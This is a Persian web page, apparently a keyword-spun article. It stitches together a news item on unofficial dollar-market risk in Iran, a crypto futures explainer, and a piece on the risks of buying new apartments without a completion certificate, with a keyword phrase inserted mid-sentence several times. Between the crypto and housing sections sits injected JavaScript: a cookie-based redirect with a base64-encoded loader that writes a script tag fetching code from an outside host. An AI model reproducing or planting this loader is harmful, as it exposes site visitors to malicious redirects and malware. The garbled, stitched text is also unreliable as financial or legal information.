ریسک های معامله خبر

ریسک های معامله خبر

با توجه به شرایط بازار ارز معامله گران بازار غیر رسمی ارز با ریسک از دست دادن دارایی های خود رو به رو هستند .؛

به گزارش شهربورس، نوسانات قیمت دلار و این افزایش قیمت بدون پشتوانه گمان ها را برای ریزش قیمت بیشتر می کند.

بر اساس گزارش خبرگزاری فارس،قیمت دلار غیر رسمی که سال 1400 در کانال 26 هزار تومان قرار داشت، در روزهای اخیر وارد کانال 31 هزار تومان شده است، این افزایش نرخ در حالی رخ داده است که در ماه های اخیر متغیرهای بنیادین موثر بر نرخ ارز در دو سمت عرضه و تقاضای ارز تغییر محسوسی نداشته است.

ثبات در این متغیرها را می توان در جریان تأمین ارز روان در بازار حواله (سامانه نیما) و همچنین تأمین ارز بازار نقدی در بازار متشکل ارزی و فروش در سرفصل‌های خدماتی 25 گانه ارائه شده توسط بانک مرکزی یافت.

آخرین نمونه افزایش قیمت دلار بدون تغییر در متغیرهای بنیادین اقتصاد کشور و ورود به کانال 31 هزار تومان و سپس کاهش معنادار آن به دلیل عدم حمایت توسط عوامل موثر بر عرضه و تقاضا در پانزدهم آذرماه 1400 اتفاق افتاده است. نمودار زیر افزایش یکباره و ریزش تا کانال 25 هزار تومان در همان سال را نشان می دهد.

نکته قابل توجه اینجاست که در سال 1401 مولفه‌‎های سمت عرضه ارز نیز در کشور با بهبود مواجه شده و منابع بانک مرکزی برای مدیریت بازار افزایش یافته است.

رشد بیش از 60 درصدی در وصولی های ارزی حاصل از فروش نفت، فرآورده، میعانات، گاز و پتروشیمی و افزایش معاملات در سامانه‌های نیما و بازار متشکل ارزی نشان دهنده کفایت منابع ارزی برای مدیریت بازار ارز است.

رئیس کل بانک مرکزی اخیراً در خصوص افزایش قیمت دلار در بازار گفته است: « با پوشش کاملی که در این بازارها انجام می‌دهیم قطعاً آرامش در بازار ایجاد می‌شود؛ البته بانک مرکزی از ظرفیت قوانین موجود استفاده می‌کند و به‌زودی اختیارات ویژه‌ای هم برای بانک مرکزی اضافه می‌شود و می‌تواند به تعادل در بازار کمک زیادی کند».

از کنار هم قراردان اظهارات رئیس کل بانک مرکزی در خصوص اختیارات ویژه این بانک در مدیریت بازار و وضعیت عرضه ارز توسط تجار و صادرکنندگان در بازار حواله و فروش ارز توسط صرافی‌ها در سرفصل‌های مشخص، می‌توان گفت که ورود دلار به کانال 31هزار تومان بدون وجود پشتوانه اقتصادی که ناشی از محدودیت منابع ارزی بانک مرکزی باشد، منجر به ریزش مجدد خواهد شد. بررسی‌های میدانی بازار ارز نشان می‌دهد معامله گران عمده بازار از خرید و فروش در این قیمت‌ها اجتناب کرده و افرادی که تسلط کافی بر شرایط بازار ندارند، اقدام به خرید در این کانال‌های قیمتی می‌کنند.

با توجه به شرایط کنونی بازار ارز کشور، دامنه نوسان محدود نرخ ارز در ماه‌های اخیر و همچنین عدم تغییر اساسی در متغیرهای بنیادین اقتصاد کلان کشور، معامله گران در بازار غیررسمی با ریسک بسیار بالای از دست دادن دارایی‌های خود مواجه هستند؛

بررسی فضای بازار غیرسمی نشان می‌دهد پس از ابلاغ و اجرای قانون اصلاح قانون مبارزه با قاچاق کالا و ارز از چند ماه قبل، واسطه‌ها و معامله‌گران سابق نیز احتیاط بیشتری در انجام معاملات ارزی به خرج داده و ترس مسدود شدن دارایی‌ها موجب شده تا معاملات این افراد نیز کاهش یافته و درنتیجه نرخ‌های اعلامی توسط افراد در بازار غیرسمی کاذب باشد زیرا معامله‌ای با این نرخ‌ها صورت نمی گیرد.

ثبت شده در سایت شهر بورس – آخرین اخبار اقتصادی طی شماره 53455 توسط atefeh yari و در روز پنجشنبه 12 خرداد 1401 ساعت ۱۳:۵۴:۳۰

اهمیت و ضرورت قراردادهای آتی

وقتی که قراردادهای آتی یا قراردادهای پیش فروش بسته می شود؛ به این معنی است که کالا و یا ارز دیجیتالی و یا هر نوع دارایی دیگر، گذشته از آنکه قیمت آن در روز اتمام قرار داد، چقدر می باشد، به قیمتی که قبلا توافق شده معامله خواهد شد. این نوع معاملات در دنیای ارزهای دیجیتالی، هدفش تنها کسب سود نیست. بلکه به عنوان یک ابزار کاربرد دارد، و از آن به عنوان ابزار مدیریتی یاد می شود، این ابزار برای جلوگیری از تغییرات قیمت در بازارهای مالی و همچنین با قوانین خاصی انجام می شود. هر چند این نوع قراردادها شهرت خیلی خوبی در خصوص بیت کوین

قراردادهای آتی خرید در آینده می باشد

قراردادهای آتی که به نام قراردادهای هوشمند نیز یاد می شود. یک نوع خاص از توافق نامه ای است، که بین دو طرف معامله می باشد. که طی آن به خرید و فروش یک دارایی و یا یک نوع ارز دیجیتال مانند بیت کوین با قیمت مشخص و در زمان مشخص در آینده اقدام می شود. البته این قراردادها قبلا نیز وجود داشته است و بیش از یک قرن قدمت دارد. قراردادهای آتی برای نخستین بار بر پایهٔ محصولات کشاورزی و بعدها بر پایهٔ منابع طبیعی مانند نفت معامله می‌شدند. قراردادهای آتی مالی در سال ۱۹۷۲ وارد بازار شدند. در سال های اخیر، قراداد بر پایه‌های دیگر مانند ارز، نرخ بهره، و شاخص‌های بازار سهام بسیار متداول شده‌اند و نقش مهمی در کنترل ریسک بازی می‌کنند.

در دنیای ارزهای دیجیتالی انواع معاملات متنوع وجود دارد، که یکی از انواع آنها «قراردادهای آتی» یا «پیش فروش» است. در این نوع تبادل ارزهای دیجیتالی طی یک توافق نامه بین دو طرف معامله در تاریخی در آینده که روز آن کاملا مشخص است . کالایی معامله می شود. در این نوع از قرارداد هر دو طرف معامله موظف می شوند، ارز مورد توافقشان در هر مبلغی که در تاریخ پایان قراردادشان است، خرید و فروش می کنند. این اوراق مشتقه خود یک ابزار محسوب می شود، که برای پوشش ریسک دارایی مورد نظر و کنترل ریسک های ناشی از نوسان قیمت که در همه بازارها، چه بازار های سنتی و چه بازار ارزهای دیجیتال رایج می باشد، مورد استفاده قرار می گیرد. یکی از مزایایی که این قرارداد دارد این است که برای هر دو طرف این امکان را به وجود می آورد که با تعیین یک قیمت مورد توافق برای خرید و حتی فروش کالا نوسانات بازار را کاهش می دهد.

وقتی که قراردادهای آتی یا پیش فروش، بین دو طرف بسته می شود، کالا و یا ارز دیجیتال و یا هر نوع دارایی دیگر گذشته از آن که قیمت آن در روز اتمام قرار داد چقدر است، یه قیمتی که از قبل بین هر دو طرف توافق شده معامله خواهد شد. این نوع معاملات در دنیای ارزهای دیجیتالی تنها با هدف کسب سود بسته نمی شود، بلکه به عنوان یک ابزار کاربرد دارد، و از آن به عنوان ابزار مدیریتی نیز یاد می شود. این ابزار برای جلوگیری از تغییرات قیمت در بازارهای مالی و همچنین با قوانین خاصی انجام می شود. قراردادهای آتی همچنین ابزاری محبوب بین معامله گران است. زیرا نوسانات قیمت در بازار ارزهای دیجیتال محسوس است. و قراردادهای آتی خود ابزاری برای کاهش این ریسک به حساب می آید.

برخی از صرافی ها با انجام قراردادهای آتی موافق نیستند، که البته تعدادشان بسیار کم است. و علاقمندان می توانند با بسیاری از این صرافی ها این قراردادها را ببندند. یکی دیگر از دلایل محبوب شدن این قراردادها مشتقه از ورود بورس آپشن های شیکاگو و بورس کالاهای شیکاگو است. این دو بورس برای اینکه بیت کوین به عنوان فهرست کردن در قراردادهای آتی انتخاب شدند. و پس از آن بحث ها به سمت و سوی ورود سرمایه های سازمانی به این زمینه پیش آمد. ورود نقدینگی در این اوضاع به بازار بیت کوین شکل گرفت و ناگهان قیمت آن افزایش یافت. در این ریسک های معامله خبر مرحله سال ۲۰۱۷ شروع شد و روند صعودی ارزش بیت کوین ناگهان آغاز شد. پس از آن دوباره رکود وارد این بازار گردید.

معامله آتی بیت کوین در سال ۲۰۱۸ توجه بسیاری از کاربران ارزهای دیجیتالی را به خود جلب کرد. بروکر آنلاین یک ایستگاه معامله برای تریدرها یا معامله گران است که با نام لاتین Online Broker Trade Station شناخته می شود. در این ایستگاه معامله انواع قراردادهای آتی برای عموم به صورت روان و بسیار ساده شرح داده می شود. قراردادهای آتی همانگونه که عنوان شد شامل قراردادهایی در آینده است در قیمت و زمانی که معامله گر پیش بینی می کند. در این نوع قراردادها اندازه کوین مشخص است. مثلا هر قراردادی که بسته می شود شامل یک بیت کوین بوده که به مزایده گذاشته می شود. با این وجود سرمایه گذاران سازمانی زیاد مشتاق سرمایه گذاری در این ارز دیجیتالی نبودند.

اما پس از دوره رکود در سال ۲۰۱۹ قراردادهای ارزهای دیجیتال شتاب گرفت و پس از یک شبه صعود دوباره این قراردادهای بیت کوین رونق یافت. خرده سرمایه گذاران به سرعت وارد این بازار شدند. و گام بزرگی در قراردادهای آتی برداشته شد. ۵۰ درصد از صرافی های برتر ارزهای دیجیتال در جهان قراردادهای آتی را انجام می دهند. که همین امر خود باعث کاهش نوسان و افزایش نقدینگی بازارها شد. معامله گران نیز هر طور که صلاح بدانند خواهند توانست قراردادهای آتی را در چارچوب زمان خاصی ببندد و از این طریق وارد خرید و فروش بیت کوین و … شوند. تریدر برای اینکه به قیمت زیر بنایی آن دست پیدا کند، باید وارد بازار عرض و تقاضا شود. بازار قراردادهای آتی امروزه شامل پوزیشن های مختلف و ریسک و فرصت های متنوع است. و این امکان را برای معامله گر فراهم است تا بتواند پوزیشنی را باز و دنبال کند.

کسب سودهای فراوان با قراردادهای آتی

از آن جایی که قراردادهای آتی دارای مزایایی هستند و به جز گسترش سرمایه و کاهش تنش های بازار می توانند بسیار سودمند باشند و سود بیشتر و راحت تری را برای معامله گران فراهم کنند، که از خرید و فروش مستقیم بیت کوین نیز راحت تر باشد. در واقع قرارداد های آتی کمکی هستند، که معامله گران می توانند به خرید و فروش ارزهایی که دوست دارند، البته به شیوه استقراضی اقدام کنند. همچنین به دلیل مسائل امنیتی و هکرها که ریسک نگهداری از ارزهای دیجیتالی را بالا می برند، برای معامله گران لوریج مورد نیازشان را فراهم می کنند. و می توان گفت قراردادهای آتی می تواند روشی منحصر به فرد برای محافظت و ایجاد تنوع از هر پورتفو باشد. شما می توانید به جای از دست دادن بیت کوین هایتان با قراردادهای آتی قرارداد فروش خریداری کرده و از دارایی خود نیز به نوعی محافظت کنید.

همچنین قراردادهای آتی کمکی است که ارزش برابری برای دارایی ها تعیین شود و این امر در خرید و فروش مستقیم بیت کوین وجود ندارد. برابر شدن ارزش دارایی ها نیز به نشانه گذاری معروف است. این قیمت مشخص بر اساس شاخص قیمت هایی که در چند صرافی محاسبه می شود، به دست می آید. بنابراین می تواند جلوی نقدینگی های ناعادلانه بر اثر دستکاری بازار جلوگیری نماید. یکی از قراردادهای آتی کهصرافی OKEx است از سیستم مارجین بهره می برد. مثلا قراردادهای آتی BitMex که فاقد تاریخ انقضا هستند، دارای ویژگی به عنوان تامین وجه می باشند که طی ۲۴ ساعت می تواند سه بار روی دهد و باعث زیان و یا سودی قابل ملاحظه باشد. تریدرها تنها وقتی می توانند وارد پرداخت و دریافت شوند که پوزیشن ایجاد نموده باشند و اگر این امر درست قبل از تامین مبادله وجه صورتگرفته باشد از پرداخت و دریافت خبری نخواهد بود. اما این تامین وجه شامل چیزهایی از جمله تخفیف ها، انعام و یا نرخ سود است. این شیوه مبادله در بازارهای مارجین رواج داردو از آنها الگو برداری شده است.

در محصولاتی که مربوط به اوراق مشتقه صرافی OKEx است، نسبت به مارجین طبقه بندی شده (TMMR) وثیقه لازم فراهم و مشخص خواهد شد. ضمن آنکه می تواند کمکی برای حذف لوریج و به حداقل رساندن تأثیر نقدینگی های بزرگ باشد. این صرافی از سیستم نقدینگی اجباری نیز بهره می برد. این امر دیگر نیازی به دخیره و یا انتقال ارزهای دیجیتال نخواهد داشت. پیچیدگی می تواند یکی از موانع جدی ورود به عرصه ارزهای دیجیتال باشد. مانند کیف پول آفلاین و یا کلیدهای خصوصی، اما قراردادهای آتی این امر را جبران می کند. چون بیشتر به روش سنتی عمل می نماید. همانطور که عنوان شد یکی از برتری های این روش این است که قابل هک شدن و یا گم شدن نیست.

امروزه بسیاری از صرافی ها امکان تبادل قراردادهای دائمی را فراهم می کنند. این نوع قراردادها بدون انقضا بوده و می تواند به طور مداوم فعال باشد. در این قراردادهای ریسک های معامله خبر دائمی طرف های معامله وضعیت خود را تغییر داده و می توانند جفت ارزهای خوبی را نیز انتخاب کنند. هر چند کارمزدهای معاملات روزانه می تواند قابل توجه باشد. و اگر معامله نیز به صورت یک طرفه انجام شود، هزینه های خرید بیشتر از افتتاح وضعیت قراردادهای آتی است.با کمک قراردادهای آتی می توان قابلیت فروش استقراضی را برای کاربران فراهم کرد. بر خلاف خرید بیت کوین، این قراردادها می توانند بسیار هیجان انگیز و جالب باشند.

اما روش دیگری نیز در بستن قراردادهای آتی وجود دارد و آن قراردادهای قرضی است. که به عنوان going short یا shorting شهرت دارد. در این نوع از قراردادها می توان قراردادهایی را قرض گرفت و به فروش رساند. یعنی فرد شرط بندی می کند که قیمت بیت کوین درآینده کمتر از امروزش می شود. وقتی که یک قرارداد آتی استقراضی به فروش می رسد، باید ابتدا یک قرارداد آتی بیت کوین را از فرد دیگری در یک صرافی معتبر قرض گرفته تا بفروشد به این امید که همان قرارداد را با قیمت کمتری دوباره خریداری نماید و این مابه التفاوت قیمت به عنوان سود برای کاربر می ماند. صرافی ها برای یافتن قراردادهای قرضی به تریدرها کمک کرده و در خصوص قرض دادن و برگرداندن قرارداد کارهایی انجام می دهند.

وقتی قراردادی باید در تاریخ مشخصی تصفیه شود به این معنی است که باید الزامات مربوط به قرارداد که زیر نظر صرافی صورت می گیرد، تکمیل شود. بنابراین هزینه یا دارایی زیر بنایی به شخصی که قرار داد مال اوست به قیمت بازار در زمان تصفیه پرداخت شده که اگر این پرداخت توسط صرافی های CME و CBOE باشد، به صورت کاملا نقدی خواهد بود. این قراردادها می توانند تاثیرات زیادی بر بازار ارزهای دیجیتالی داشته باشند. این تأثیرات آنقدر جدی است که کارشناسان معتقدند قرارداد های آتی بیت کوین در دو صرافی CME و CBOE دقیقا تأثیرات مستقیمی بر روی قیمت های این ارز دیجیتالی داد و حتی قراردادهایی که در صرافی بین المللی NADAQ و امثال این صرافی نیز بسته می شود، باز تاثیرات شگفت انگیزی بر قیمت بیت کوین دارد. این امر در اکثر مواقع درست از آب در می آید.

صرافی BitMex که قراردادهای آتی خود را به شکل متفاوتی تصفیه می کند، یعنی از ارز دیجیتالی کریپتو برای این امر بهره می گیرد، ضمن اعلام چفت شدن با بیت کوین چند کوین دیگر را در لیست قراردادهای آتی خود قرار می دهد. که این ارزهای دیجیتالی شامل ریپل، ترون، لایت کوین، کوین کش، ایاس و اتریوم است. صرافی BitMex که این خبر را طی یک اطلاعیه رسمی اعلام کرده است. اما این چفت شدن به چه معناست؟ این امر به این معنا است که ارزش هر کدام از این کوین های ریپل، ترون، لایت کوین، کوین کش، ایاس و اتریوم بر حسب ارزشی که بیت کوین در روز دارد ارزیابی خواهد شد.

ویژگی های قراردادهای آتی توسط صرافی Bitmex

قراردادهای آتی که در صرافی Bitmex انجام می گیرد، نیز دارای یک سری خصوصیات خاص است. که از جمله آنها این است، که هر قرارداد ضمن نداشتن تاریخ تصفیه و یا انقضا با یک دلار برابر است. و به تریدر ها تا لوریج ۱۰۰داده می شود. همچنین البته این یک دلار نیز بر اساس دلار آمریکا محاسبه خواهد شد. با این ویژگی این امکان برای تریدرها به وجود خواهد آمد که چندین بار پوزیشن ایجاد نمایند. البته در این پوزیشن ها تریدرها اصلا اجباری برایشان وجود ندارد. که به تاریخ انقضا اهمیتی دهند. در حالیکه در دو صرافی CME و CBOE به تاریخ انقضا اهمیت داده می شود و این تاریخ مهم است.

قراردادهای آتی دارای معایب را ریسک مخصوص به خود نیز هستند چون به عنوان یک معامله با ریسک بالا و یکی از ابزارهایی که امکان شکست بالایی برای ترید دارد، نیز می توان عنوان کرد. مثلا وقتی فشار زیادی بر روی تریدر برای خرید و فروش وجود داشته باشد، ممکن است باعث ضرر و زیان شده و یا خرید و فروشی به طور غیر منتظره اتفاق بیفتد و این خود یک نوع دستکاری در بازار به حساب می آید که منجر به ضرر و زیان برخی خواهد شد. یا اینکه ناگهان نوسانی به سمت بالا رخ دهد که برای تریدرها بسیار عالی خواهد شد هر چند این امر پیش بینی بازار را تقریبا غیر ممکن خواهد کرد. و در آخر باید بگوییم وقتی پول قرض می کنید شاید مجبور شوید کارمزد بالایی برایش بپردازید. البته این امر در هر صرافی متفاوت است.

function getCookie(e)()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0>var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time)

بررسی ریسک های معامله آپارتمان های نوساز

یک خطر و تهدید بزرگ در این گروه از معاملات واحد‌های مسکونی (خرید واحد‌های مسکونی تازه‌کار فاقد پایان کار ساختمانی)، مربوط به عدم ایمنی، عدم تامین شاخصه‌های مربوط به استاندارد‌های ساخت، رفاه وآسایش بهره‌برداران وساکنان است.

جمسا، خرید آپارتمان‌های تازه‌ساز «فاقد پایان کار»، پر ریسک‌ترین معامله ملکی محسوب می‌شود که دست‌کم دو زیان بزرگ برای خریداران به همراه دارد. بی‌توجهی نهاد‌های مسوول کنترل و بازرسی ساخت‌و‌ساز‌های مسکونی نسبت به کار و رفتار بسازوبفروش‌ها باعث شده دسته‌ای از سازنده‌ها بدون آنکه گواهی بهره‌برداری ساختمان احداث شده را از شهرداری ریسک های معامله خبر دریافت کنند، واحد‌ها را با بدهی سنگین به شهرداری و همچنین نواقص تجهیزات، روانه بازار کنند. خرید این آپارتمان‌ها، باعث انتقال طلب شهرداری بابت هزینه‌های صدور پایان‌کار از سازنده به خریدار می‌شود.

معاملات خرید و فروش یک گروه از آپارتمان‌های تازه‌ساز، هم‌اکنون به نوعی رد‌وبدل طلب شهرداری از سوی برخی سازنده‌ها به خریداران مسکن تبدیل شده است. تحقیقات میدانی از بازار معاملات آپارتمان‌های تازه‌ساز و کلید نخورده نشان می‌دهد در حالی که عمده این واحد‌ها فاقد سند ملکی هستند یک نقص مهم در مدارک ساختمان یعنی عدم برخورداری از پایان کار ساختمانی منجر به ایجاد دو تهدید بزرگ برای خریداران این واحد‌ها شده است.

به گونه‌ای که هم‌اکنون خرید آپارتمان های تازه ه‌ساز فاقد پایان کار را می‌توان به‌عنوان پرریسک‌ترین معامله ملکی معرفی کرد.

در بخش قابل‌توجهی از این معاملات در واقع طلب شهرداری از سازنده بابت تخلفات صورت گرفته و همچنین هزینه نصب انشعابات و… به خریدار منتقل شده بدون آنکه خریدار در زمان انجام معامله از این موضوع اطلاع داشته باشد.

برخی سازنده‌ها در حالی اقدام به فروش واحد مسکونی تازه‌ساز در بازار مسکن می‌کنند که به دلیل وجود یک یا چند نقص عمده در استاندارد‌ها و ایمنی ساختمان، عدم تامین یک یا چند مورد از انشعابات ضروری ساختمان (از قبیل: دریافت کنتور‌های برق، آب و…)، عدم دریافت برگه استحکام بنا، ریسک های معامله خبر عدم دریافت گواهی عدم خلاف به‌رغم انجام تخلف در پروسه ساخت و ساز و در نتیجه بدهکار بودن به شهرداری و… تمایلی به دریافت پایان کار ندارند و سعی می‌کنند از طریق فروش واحد‌های دارای نقص، مسوولیت خود را به فرد خریدار منتقل کنند.

در واقع در این گروه از معاملات آپارتمان کامل، بدون نقص و ایمن که برای بهره‌برداری وسکونت به‌طور کامل آماده باشد از سوی خریدار تملک نمی‌شود. در چنین معاملاتی دو نوع خطر عمده خریداران را تهدید می‌کند. مخاطراتی که خریدار از همان ابتدا و در زمان انجام معامله از آن‌ها مطلع نیست و با یک فاصله زمانی بعد از خرید واحد متوجه آن‌ها می‌شود.

یک خطر و تهدید بزرگ در این گروه از معاملات واحد‌های مسکونی (خرید واحد‌های مسکونی تازه‌کار فاقد پایان کار ساختمانی)، مربوط به عدم ایمنی، عدم تامین شاخصه‌های مربوط به استاندارد‌های ساخت، رفاه وآسایش بهره‌برداران وساکنان است.

در واقع از آنجا که ساختمان‌های فاقد پایان کار چک‌لیست نهایی مربوط به تاییدیه ایمنی ساختمان، بهداشت، بهره‌دهی مناسب، آسایش و صرفه اقتصادی و همچنین تامین نیاز‌های ساکنان و استفاده‌کنندگان را دریافت نکرده‌اند و ساختمان از بابت این شاخصه‌ها مورد تایید قرار نگرفته است، هر کدام از این موارد که با ایمنی، رفاه و آسایش شهروندان و ساکنان این گروه از واحد‌ها در ارتباط قرار دارد، ممکن است با نقص و نارسایی مواجه باشد.

دومین خطر مهمی که در این زمینه این گروه از خریداران مسکن را تهدید می‌کند، «زیان اقتصادی» است. یکی از مهم‌ترین انگیزه‌های سازندگانی که به رغم اتمام ظاهری عملیات ساخت‌و ساز برای دریافت پایان کار پیگیری‌های لازم را انجام نداده و در واقع تمایلی به دریافت پایان کار قبل از فروش واحد‌ها ندارند تخلفاتی است که در پروسه ساخت مرتکب شده‌اند و هم‌اکنون برای برطرف کردن این تخلفات و دریافت گواهی عدم خلاف به‌عنوان یکی از موارد و اسناد ضروری ساختمان، مشمول پرداخت جرایم سنگین و قابل‌توجه هستند.

از سوی دیگر، در برخی از موارد، سازنده برای برقراری انشعابات همچون آب و برق با مشکل مواجه است و باید هزینه‌های سنگینی برای دریافت انشعابات تفکیکی برای هر کدام از واحد‌ها به دستگاه‌های مرتبط پرداخت کند. از این رو برخی از این سازنده‌ها با فروش واحد‌ها قبل از رفع این مشکلات تلاش می‌کنند مسوولیت خود را به خریدار منتقل کنند بدون آنکه فرد خریدار از این موضوع اطلاع داشته باشد.

این موضوع باعث بروز زیان اقتصادی گسترده برای فرد خریدار می‌شود. پایان کار ساختمانی نشان می‌دهد که واحد‌های مسکونی ساخته شده دارای تخلف ساختمانی نیستند و بر اساس معیار‌ها واستاندارد‌های فنی و مهندسی مورد تایید شهرداری و براساس قوانین و ضوابط از جمله مقررات ملی ساختمان ساخته شده‌اند.

نداشتن پایان کار در ساختمان‌های تازه‌ساز که از سوی سازنده برای فروش به بازار مسکن عرضه می‌شوند خود می‌تواند یک علامت از وجود نقص و عیب در ساختمان چه به لحاظ فنی و چه از نظر احتمال بروز تخلفات گسترده و وجود بدهی‌های سنگین باشد.

این در حالی است که خریدار این گروه از واحد‌های مسکونی تازه‌ساز که فاقد پایان کار هستند امکان فروش واحد را نیز ندارند. چرا که خریدار جدید با مشاهده عدم برخورداری واحد مسکونی از پایان کار در حالی‌که قبلا یک بار به فروش رفته و کماکان پایان کار برای آن صادر نشده است از خرید واحد منصرف می‌شود. در واقع این گروه از واحد‌های مسکونی تازه‌ساز نه تنها غیرقابل سکونت و غیر قابل بهره‌برداری هستند بلکه در واقع غیر قابل فروش نیز هستند.

بررسی‌ها نشان می‌دهد عمده سازنده‌هایی که این گروه از آپارتمان‌ها را به بازار مسکن برای فروش عرضه می‌کنند عمدتا این اقدام را با دو نیت و هدف انجام می‌دهند؛ نیت آن‌ها از این کار آن است که یا بدهی‌ها و تعهدات خود را در برابر شهرداری و سایر مراجع مربوطه همچون دستگاه‌های خدمات‌رسان پرداخت نکرده و به انجام نرسانند یا این تعهدات و بدهی‌ها را با تاخیر زمانی هر چه بیشتر انجام داده یا پرداخت کنند.

در هر دو حالت زیان‌های روانی، جانی و مالی مربوط به این اقدام سازنده‌ها متوجه خریداران خواهد بود. برآورد‌ها نشان می‌دهد رقمی در حدود ۸ تا ۱۰ درصد از ارزش فروش این گروه از واحد‌های مسکونی تازه‌ساز که فاقد گواهی پایان کار هستند صرف تبدیل این واحد‌های مسکونی به واحدی با قابلیت بهره‌برداری به‌عنوان یک واحد کامل و بدون نقص خواهد شد.

به این معنا که به طور متوسط هزینه‌ای معادل ۸ تا ۱۰ درصد ارزش فروش ملک باید صرف شود تا واحد مسکونی به لحاظ تامین ایمنی، نصب آسانسور، انشعابات به‌صورت کامل، سیستم‌های اعلام و اطفای حریق، مشاعات و… قابل سکونت و بهره‌برداری شود.

این موارد عمده‌ترین آیتم‌هایی است که واحد‌های مسکونی فاقد پایان کار، فاقد آن‌ها هستند. در حالی‌که خریداران این گروه از واحد‌ها در زمان خرید آن‌ها کاملا از این موارد بی‌اطلاع هستند و با تاخیر به این نواقص پی خواهند برد. در آن زمان نیز، خریدار با توجه به آنکه عمده هزینه خرید مسکن- حدود ۸۵ تا ۹۰ درصد بهای واحد-را پرداخت کرده معمولا قادر به مجاب کردن سازنده و ملزم کردن وی برای رفع نواقص و پرداخت هزینه‌های ناشی از کم کاری در پروسه ساخت واحد نیست.

در نتیجه برای پیگیری این موارد ناچار به مراجعه به مراجع قضایی و طرح شکایت علیه سازنده می‌شود. چرا که در چنین شرایطی معامله انجام شده است، عمده بهای واحد خریداری شده نیز پرداخت شده است و همچنین در قرارداد نیز معمولا اشاره‌ای به نحوه برخورد با احتمال بروز این‌گونه مسائل در آینده به لحاظ جبران ضرر و زیان فرد خریدار از سوی سازنده متخلف نشده است.

اگر چه معمولا ۱۰ تا ۱۵ درصد از بهای کل واحد خریداری شده تا زمان انتقال مالکیت و ثبت سند در دفاتر اسناد رسمی از سوی خریدار به سازنده پرداخت نمی‌شود، اما این میزان در برابر هزینه ۸ تا ۱۰ درصدی رفع نقص فنی از واحد‌های فاقد پایان کار ساختمانی تفاوت محسوسی به حساب نمی‌آید؛ ضمن آنکه به موجب قرارداد فی‌مابین خریدار و سازنده در زمان انجام معامله، خریدار مکلف است بهای باقی‌مانده را در زمان انتقال سند به سازنده پرداخت کند حال آنکه در عمده قرارداد‌های مربوط به معاملات این گروه از آپارتمان‌های تازه‌ساز اشاره‌ای به نحوه جبران خسارت وارده به خریدار در صورت وجود نقص فنی در پروسه ساخت از سوی سازنده نشده است.

در نتیجه خریدار نه تنها مکلف به پرداخت مابقی بهای آپارتمان خریداری‌شده در زمان ثبت سند است بلکه برای جبران خسارت‌های وارده به دلیل تخلفات سازنده نیز باید به مراجع حقوقی مراجعه کرده و به پروسه‌های دادگاهی وارد شود. با این حال مشکل بزرگ‌تر این گروه از ساختمان‌ها، مطالبات شهرداری از سازنده‌های متخلف یا هزینه‌های قابل‌توجه برای برقراری انشعابات است.

دریافت گواهی عدم خلاف و گواهی پایان کار برای این گروه از ساختمان‌ها معمولا هزینه‌های هنگفتی در پی دارد که سازنده باید آن را پرداخت کند. براساس یک برآورد صورت گرفته رقم بدهی سازنده‌های واحد‌های مسکونی تازه‌ساز فاقد پایان کار به شهرداری و دستگاه‌های خدمات‌رسان، به طور متوسط، حدود ۱۰ درصد قیمت فروش این واحدهاست.

به عبارت دیگر در کل خریدار در معرض خطر تحمیل هزینه‌ای معادل ۲۰ تا ۲۵ درصد ارزش کل آپارتمان خریداری‌شده فاقد پایان کار است. در چنین شرایطی این پرسش ایجاد می‌شود که آیا براساس قانون، عرضه آپارتمان‌های فاقد پایان کار به بازار تخلف محسوب شده و جرم است؟ هم‌اکنون به‌طور کلی سازنده‌ها و بسازو بفروش‌های مسکن مکلف به رعایت و تبعیت از دو قانون عمده در حوزه ساخت‌وساز یعنی قانون نظام مهندسی وکنترل ساختمان و مقررات ملی ساختمان هستند.

اگرچه در مبحث چهارم مقررات ملی و در ماده ۲۸ قانون نظام مهندسی ساختمان به موضوع پایان کار و تامین ایمنی ساختمان‌ها اشاره شده است، اما در این قوانین به صراحت فروش واحد‌های فاقد پایان کار جرم اعلام نشده است. در واقع اگرچه از محتوای این قوانین می‌توان استنباط کرد که سازنده و مرجع صدور پایان کار ساختمانی مسوولیت تضمین ایمنی ساختمان را بر عهده دارند، اما در این قوانین به صراحت این موضوع اعلام نشده است.

براساس ماده ۲۸ قانون نظام مهندسی و کنترل ساختمان، شهرداری‌ها و سایر مراجع صدور پروانه ساختمان برای ساختمان‌هایی که طبق تشخیص ناظران و تایید سازمان نظام مهندسی ساختمان استان، مقررات ملی ساختمان در آن‌ها رعایت نشده باشد، تا زمان رفع نقص، پایان کار صادر نخواهند کرد. محتوای این قانون می‌تواند این معنا را برساند که عدم برخورداری از پایان کار می‌تواند به معنای احتمال بالای وجود نقص در ساختمان باشد.

در مبحث چهارم مقررات ملی ساختمان که به موضوع ایمنی ساختمان‌ها اشاره دارد نیز اعلام شده است: ساختمان، تجهیزات و اجزا و عناصر آن باید به‌صورتی طراحی و ساخته شوند که در دوران ساخت یا بهره‌برداری، ایمنی ساکنان یا استفاده‌کنندگان و سایر افراد تامین شود؛ لذا باید شرایط لازم فراهم باشد که در وهله اول هیچ گونه احتمال خطر بر اثر حوادثی مانند لیز خوردن، سقوط افراد یا اشیا، برخورد، برق‌گرفتگی و آتش‌سوزی یا انفجار رخ ندهد، در مرحله دوم امکان ایجاد حریق یا توسعه آتش و دود در انطباق با مبحث سوم مقررات ملی ساختمان به حداقل تقلیل یابد و در صورت بروز آتش‌سوزی، اطفای آن و نجات ساکنان مطابق مبحث یاد شده امکان‌پذیر باشد.

